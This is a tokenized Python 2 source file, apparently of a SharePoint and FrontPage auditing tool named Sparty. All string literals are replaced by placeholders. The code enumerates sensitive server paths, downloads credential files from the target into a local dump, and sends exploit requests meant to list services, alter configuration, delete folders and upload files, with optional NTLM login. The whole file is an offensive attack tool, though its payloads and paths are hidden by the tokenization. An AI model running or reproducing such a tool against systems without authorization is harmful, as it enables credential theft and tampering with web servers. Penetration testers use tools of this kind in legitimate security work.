<s> license = """<STR_LIT>""" <EOL> import os , sys <EOL> front_bin = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> front_services = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> front_pvt = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> directory_check = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> sharepoint_check_layout = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> sharepoint_check_forms = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> sharepoint_check_catalog = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> refine_target = [ ] <EOL> pvt_target = [ ] <EOL> dir_target = [ ] <EOL> sharepoint_target_layout = [ ] <EOL> sharepoint_target_forms = [ ] <EOL> sharepoint_target_catalog = [ ] <EOL> try : <EOL> import urllib2 <EOL> except ImportError : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> try : <EOL> import re <EOL> except ImportError : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> try : <EOL> import optparse <EOL> except ImportError : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> try : <EOL> import httplib <EOL> except ImportError : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> def check_python ( ) : <EOL> version = sys . version_info <EOL> if version [ : <NUM_LIT:2> ] != ( <NUM_LIT:2> , <NUM_LIT:6> ) : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> unsupported_ver = raw_input ( "<STR_LIT>" ) <EOL> if unsupported_ver != "<STR_LIT>" : <EOL> print "<STR_LIT>" % ( unsupported_ver ) <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> def banner ( ) : <EOL> print "<STR_LIT>" <EOL> sparty_banner = """<STR_LIT>""" <EOL> print sparty_banner <EOL> print "<STR_LIT>" <EOL> def sparty_usage ( destination ) : <EOL> print "<STR_LIT>" % ( sys . argv [ <NUM_LIT:0> ] , destination ) <EOL> print "<STR_LIT>" % ( sys . argv [ <NUM_LIT:0> ] , destination ) <EOL> print "<STR_LIT>" % ( sys . argv [ <NUM_LIT:0> ] , destination ) <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> def build_target ( target , front_dirs = [ ] , refine_target = [ ] ) : <EOL> for item in front_dirs : <EOL> refine_target . append ( target + "<STR_LIT:/>" + item ) <EOL> def module_success ( module_name ) : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" % module_name <EOL> def target_information ( name ) : <EOL> try : <EOL> headers = urllib2 . urlopen ( name ) <EOL> print "<STR_LIT>" % ( headers . geturl ( ) ) <EOL> print "<STR_LIT>" % headers . getcode ( ) <EOL> print "<STR_LIT>" % headers . info ( ) [ '<STR_LIT>' ] <EOL> except urllib2 . HTTPError as h : <EOL> print "<STR_LIT>" % h . code <EOL> pass <EOL> def audit ( target = [ ] ) : <EOL> for element in target : <EOL> try : <EOL> handle = urllib2 . urlopen ( element ) <EOL> info = handle . info ( ) <EOL> response_code = handle . getcode ( ) <EOL> print "<STR_LIT>" % ( element , response_code ) <EOL> except urllib2 . HTTPError as h : <EOL> print "<STR_LIT>" % ( element , h . code ) <EOL> except httplib . BadStatusLine : <EOL> print "<STR_LIT>" <EOL> pass <EOL> def dump_credentials ( dest ) : <EOL> pwd_targets = [ ] <EOL> pwd_files = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> for item in pwd_files : <EOL> pwd_targets . append ( dest + "<STR_LIT:/>" + item ) <EOL> for entry in pwd_targets : <EOL> try : <EOL> handle = urllib2 . urlopen ( entry ) <EOL> if handle . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" % ( entry ) <EOL> filename = "<STR_LIT>" <EOL> dump = open ( filename , '<STR_LIT:a>' ) <EOL> dump . write ( handle . read ( ) ) <EOL> print handle . read ( ) <EOL> except urllib2 . HTTPError as h : <EOL> print "<STR_LIT>" % ( entry , h . code ) <EOL> continue <EOL> except httplib . BadStatusLine : <EOL> print "<STR_LIT>" <EOL> continue <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" % ( filename ) <EOL> def fingerprint_frontpage ( name ) : <EOL> enum_nix = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> enum_win = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> build_enum_nix = [ ] <EOL> build_enum_win = [ ] <EOL> for item in enum_nix : <EOL> build_enum_nix . append ( name + "<STR_LIT:/>" + item ) <EOL> for entry in build_enum_nix : <EOL> try : <EOL> info = urllib2 . urlopen ( entry ) <EOL> if info . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" % ( entry , info . getcode ( ) ) <EOL> except urllib2 . HTTPError : <EOL> pass <EOL> for item in enum_win : <EOL> build_enum_win . append ( name + "<STR_LIT:/>" + item ) <EOL> for entry in build_enum_win : <EOL> try : <EOL> info = urllib2 . urlopen ( entry ) <EOL> if info . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" % ( entry , info . getcode ( ) ) <EOL> except urllib2 . HTTPError : <EOL> pass <EOL> frontend_version = name + "<STR_LIT>" <EOL> try : <EOL> version = urllib2 . urlopen ( frontend_version ) <EOL> print "<STR_LIT>" % re . findall ( r'<STR_LIT>' , version . read ( ) ) <EOL> except urllib2 . HTTPError : <EOL> print "<STR_LIT>" <EOL> pass <EOL> except httplib . BadStatusLine : <EOL> print "<STR_LIT>" <EOL> pass <EOL> print "<STR_LIT>" <EOL> def dump_sharepoint_headers ( name ) : <EOL> print "<STR_LIT>" <EOL> try : <EOL> dump_s = urllib2 . urlopen ( name ) <EOL> print "<STR_LIT>" % dump_s . info ( ) [ '<STR_LIT>' ] <EOL> except KeyError : <EOL> print "<STR_LIT>" <EOL> try : <EOL> dump_f = urllib2 . urlopen ( name ) <EOL> print "<STR_LIT>" % dump_f . info ( ) [ '<STR_LIT>' ] <EOL> except KeyError : <EOL> print "<STR_LIT>" <EOL> try : <EOL> dump_g = urllib2 . urlopen ( name ) <EOL> print "<STR_LIT>" % dump_f . info ( ) [ '<STR_LIT>' ] <EOL> except KeyError : <EOL> print "<STR_LIT>" <EOL> except urllib2 . HTTPError : <EOL> pass <EOL> except httplib . BadStatusLine : <EOL> print "<STR_LIT>" <EOL> pass <EOL> def frontpage_rpc_check ( name ) : <EOL> headers = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' } <EOL> exp_target_list = [ '<STR_LIT>' , '<STR_LIT>' ] <EOL> data = "<STR_LIT>" <EOL> for item in exp_target_list : <EOL> destination = name + "<STR_LIT:/>" + item <EOL> print "<STR_LIT>" % destination <EOL> try : <EOL> req = urllib2 . Request ( destination ) <EOL> response = urllib2 . urlopen ( req ) <EOL> if response . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" % response . getcode ( ) <EOL> else : <EOL> print "<STR_LIT>" % response . getcode ( ) <EOL> except urllib2 . URLError as e : <EOL> print "<STR_LIT>" % e . code <EOL> pass <EOL> except httplib . BadStatusLine as h : <EOL> print "<STR_LIT>" <EOL> pass <EOL> print "<STR_LIT>" % destination <EOL> try : <EOL> req = urllib2 . Request ( destination , data , headers ) <EOL> response = urllib2 . urlopen ( req ) <EOL> if response . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" % ( data , response . getcode ( ) ) <EOL> filename = "<STR_LIT>" + "<STR_LIT>" <EOL> version = open ( filename , '<STR_LIT:a>' ) <EOL> version . write ( response . read ( ) ) <EOL> print "<STR_LIT>" % filename <EOL> else : <EOL> print "<STR_LIT>" % ( data , response . getcode ( ) ) <EOL> except urllib2 . URLError as e : <EOL> print "<STR_LIT>" % e . code <EOL> pass <EOL> except httplib . BadStatusLine : <EOL> print "<STR_LIT>" <EOL> pass <EOL> print "<STR_LIT>" <EOL> def frontpage_service_listing ( name ) : <EOL> headers = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' } <EOL> service_target_list = [ '<STR_LIT>' , '<STR_LIT>' ] <EOL> data = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> for item in service_target_list : <EOL> destination = name + "<STR_LIT:/>" + item <EOL> print "<STR_LIT>" % destination <EOL> try : <EOL> for entry in data : <EOL> req = urllib2 . Request ( destination , entry , headers ) <EOL> response = urllib2 . urlopen ( req ) <EOL> if response . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" % ( entry , response . getcode ( ) ) <EOL> filename = "<STR_LIT>" + entry + "<STR_LIT>" <EOL> service_list = open ( filename , '<STR_LIT:a>' ) <EOL> service_list . write ( response . read ( ) ) <EOL> print "<STR_LIT>" % filename <EOL> else : <EOL> print "<STR_LIT>" % ( data , response . getcode ( ) ) <EOL> except urllib2 . URLError as e : <EOL> print "<STR_LIT>" % e . code <EOL> pass <EOL> except httplib . BadStatusLine : <EOL> print "<STR_LIT>" <EOL> pass <EOL> print "<STR_LIT>" <EOL> def frontpage_config_check ( name ) : <EOL> headers = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' } <EOL> front_exp_target = '<STR_LIT>' <EOL> payloads = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> for item in payloads : <EOL> destination = name + "<STR_LIT:/>" + front_exp_target <EOL> print "<STR_LIT>" % destination <EOL> try : <EOL> req = urllib2 . Request ( destination , item , headers ) <EOL> response = urllib2 . urlopen ( req ) <EOL> if response . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" % ( item , response . getcode ( ) ) <EOL> filename = "<STR_LIT>" + "<STR_LIT>" <EOL> service_list = open ( filename , '<STR_LIT:a>' ) <EOL> service_list . write ( response . read ( ) ) <EOL> print "<STR_LIT>" % filename <EOL> else : <EOL> print "<STR_LIT>" % ( item , response . getcode ( ) ) <EOL> except urllib2 . URLError as e : <EOL> print "<STR_LIT>" % ( e . code , item ) <EOL> pass <EOL> except httplib . BadStatusLine : <EOL> print "<STR_LIT>" <EOL> pass <EOL> def frontpage_remove_folder ( name ) : <EOL> headers = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' } <EOL> file_exp_target = '<STR_LIT>' <EOL> payloads = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> for item in payloads : <EOL> destination = name + "<STR_LIT:/>" + file_exp_target <EOL> print "<STR_LIT>" % destination <EOL> try : <EOL> req = urllib2 . Request ( destination , item , headers ) <EOL> response = urllib2 . urlopen ( req ) <EOL> if response . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" % ( item , response . getcode ( ) ) <EOL> for line in response . readlines ( ) : <EOL> print line <EOL> else : <EOL> print "<STR_LIT>" % ( item , response . getcode ( ) ) <EOL> except urllib2 . URLError as e : <EOL> print "<STR_LIT>" % ( e . code , item ) <EOL> pass <EOL> except httplib . BadStatusLine : <EOL> print "<STR_LIT>" <EOL> pass <EOL> def file_upload_check ( name ) : <EOL> headers = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' } <EOL> os . system ( "<STR_LIT>" ) <EOL> file_exp_target = '<STR_LIT>' <EOL> payloads = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> for item in payloads : <EOL> destination = name + "<STR_LIT:/>" + file_exp_target <EOL> print "<STR_LIT>" % destination <EOL> try : <EOL> req = urllib2 . Request ( destination , item , headers ) <EOL> response = urllib2 . urlopen ( req ) <EOL> if response . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" % ( item , response . getcode ( ) ) <EOL> for line in response . readlines ( ) : <EOL> print line <EOL> else : <EOL> print "<STR_LIT>" % ( item , response . getcode ( ) ) <EOL> except urllib2 . URLError as e : <EOL> print "<STR_LIT>" % ( e . code , item ) <EOL> pass <EOL> except httplib . BadStatusLine : <EOL> print "<STR_LIT>" <EOL> pass <EOL> def enable_ntlm_authentication ( user = "<STR_LIT>" , password = "<STR_LIT>" , url = "<STR_LIT>" ) : <EOL> print "<STR_LIT>" <EOL> try : <EOL> from ntlm import HTTPNtlmAuthHandler <EOL> print "<STR_LIT>" <EOL> except ImportError : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> try : <EOL> from urlparse import urlparse , urlunparse <EOL> except ImportError : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> if user == "<STR_LIT>" : <EOL> user = raw_input ( "<STR_LIT>" ) <EOL> if password == "<STR_LIT>" : <EOL> password = raw_input ( "<STR_LIT>" ) <EOL> parsed_url = urlparse ( url ) <EOL> base_uri = urlunparse ( ( parsed_url [ <NUM_LIT:0> ] , parsed_url [ <NUM_LIT:1> ] , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) ) <EOL> passman = urllib2 . HTTPPasswordMgrWithDefaultRealm ( ) <EOL> passman . add_password ( None , base_uri , user , password ) <EOL> auth_NTLM = HTTPNtlmAuthHandler . HTTPNtlmAuthHandler ( passman ) <EOL> auth_basic = urllib2 . HTTPBasicAuthHandler ( passman ) <EOL> auth_digest = urllib2 . HTTPDigestAuthHandler ( passman ) <EOL> proxy_handler = urllib2 . ProxyHandler ( ) <EOL> opener = urllib2 . build_opener ( proxy_handler , auth_NTLM , auth_digest , auth_basic ) <EOL> urllib2 . install_opener ( opener ) <EOL> print "<STR_LIT>" + user <EOL> def main ( ) : <EOL> check_python ( ) <EOL> banner ( ) <EOL> parser = optparse . OptionParser ( usage = "<STR_LIT>" , version = "<STR_LIT>" ) <EOL> front_page = optparse . OptionGroup ( parser , "<STR_LIT>" ) <EOL> share_point = optparse . OptionGroup ( parser , "<STR_LIT>" ) <EOL> mandatory = optparse . OptionGroup ( parser , "<STR_LIT>" ) <EOL> exploit = optparse . OptionGroup ( parser , "<STR_LIT>" ) <EOL> authentication = optparse . OptionGroup ( parser , "<STR_LIT>" ) <EOL> general = optparse . OptionGroup ( parser , "<STR_LIT>" ) <EOL> mandatory . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT:string>" , help = "<STR_LIT>" , dest = "<STR_LIT:url>" ) <EOL> front_page . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT>" , choices = [ '<STR_LIT>' , '<STR_LIT>' ] , help = "<STR_LIT>" , dest = "<STR_LIT>" ) <EOL> share_point . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT>" , choices = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] , help = "<STR_LIT>" , dest = "<STR_LIT>" ) <EOL> exploit . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT>" , choices = [ '<STR_LIT>' , '<STR_LIT>' ] , help = "<STR_LIT>" , dest = "<STR_LIT>" ) <EOL> exploit . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT>" , choices = [ '<STR_LIT>' , '<STR_LIT>' ] , help = "<STR_LIT>" , dest = "<STR_LIT>" ) <EOL> exploit . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT>" , choices = [ '<STR_LIT:list>' , '<STR_LIT:index>' ] , help = "<STR_LIT>" , dest = "<STR_LIT>" ) <EOL> exploit . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT>" , choices = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] , help = "<STR_LIT>" , dest = "<STR_LIT>" ) <EOL> exploit . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT>" , choices = [ '<STR_LIT>' , '<STR_LIT>' ] , help = "<STR_LIT>" , dest = "<STR_LIT>" ) <EOL> authentication . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT>" , choices = [ '<STR_LIT>' ] , help = "<STR_LIT>" , dest = "<STR_LIT>" ) <EOL> general . add_option ( "<STR_LIT>" , "<STR_LIT>" , type = "<STR_LIT:string>" , help = "<STR_LIT>" , dest = "<STR_LIT>" ) <EOL> parser . add_option_group ( front_page ) <EOL> parser . add_option_group ( share_point ) <EOL> parser . add_option_group ( mandatory ) <EOL> parser . add_option_group ( exploit ) <EOL> parser . add_option_group ( authentication ) <EOL> parser . add_option_group ( general ) <EOL> options , arguments = parser . parse_args ( ) <EOL> try : <EOL> target = options . url <EOL> if options . authentication == "<STR_LIT>" : <EOL> enable_ntlm_authentication ( "<STR_LIT>" , "<STR_LIT>" , target ) <EOL> if target is not None : <EOL> target_information ( target ) <EOL> else : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> if options . dump == "<STR_LIT>" or options . dump == "<STR_LIT>" : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> dump_credentials ( target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . exploit == "<STR_LIT>" : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> frontpage_rpc_check ( target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . exploit == "<STR_LIT>" : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> frontpage_service_listing ( target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . exploit == "<STR_LIT>" : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> frontpage_config_check ( target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . exploit == "<STR_LIT>" : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> frontpage_remove_folder ( target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . exploit == "<STR_LIT>" : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> file_upload_check ( target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . examples == "<STR_LIT>" : <EOL> sparty_usage ( target ) <EOL> return <EOL> elif options . directory == "<STR_LIT:list>" or options . directory == "<STR_LIT:index>" : <EOL> build_target ( target , directory_check , dir_target ) <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> audit ( dir_target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . frontpage == "<STR_LIT>" : <EOL> build_target ( target , front_bin , refine_target ) <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> audit ( refine_target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> elif options . frontpage == "<STR_LIT>" : <EOL> build_target ( target , front_pvt , pvt_target ) <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> audit ( pvt_target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . fingerprint == "<STR_LIT>" : <EOL> dump_sharepoint_headers ( target ) <EOL> print "<STR_LIT>" <EOL> return <EOL> elif options . fingerprint == "<STR_LIT>" : <EOL> fingerprint_frontpage ( target ) <EOL> print "<STR_LIT>" <EOL> return <EOL> elif options . sharepoint == "<STR_LIT>" : <EOL> build_target ( target , sharepoint_check_layout , sharepoint_target_layout ) <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> audit ( sharepoint_target_layout ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . sharepoint == "<STR_LIT>" : <EOL> build_target ( target , sharepoint_check_forms , sharepoint_target_forms ) <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> audit ( sharepoint_target_forms ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . sharepoint == "<STR_LIT>" : <EOL> build_target ( target , sharepoint_check_catalog , sharepoint_target_catalog ) <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> audit ( sharepoint_target_catalog ) <EOL> module_success ( "<STR_LIT>" ) <EOL> return <EOL> elif options . services == "<STR_LIT>" or options . services == "<STR_LIT>" : <EOL> build_target ( target , front_services , refine_target ) <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> audit ( refine_target ) <EOL> module_success ( "<STR_LIT>" ) <EOL> else : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> except ValueError as v : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> except TypeError as t : <EOL> print "<STR_LIT>" <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> except IndexError as e : <EOL> sparty_usage ( ) <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> except urllib2 . HTTPError as h : <EOL> print "<STR_LIT>" % h . code <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> except urllib2 . URLError as u : <EOL> print "<STR_LIT>" % u . args <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> except KeyboardInterrupt : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> except None : <EOL> print "<STR_LIT>" <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> if __name__ == '<STR_LIT:__main__>' : <EOL> main ( ) </s>
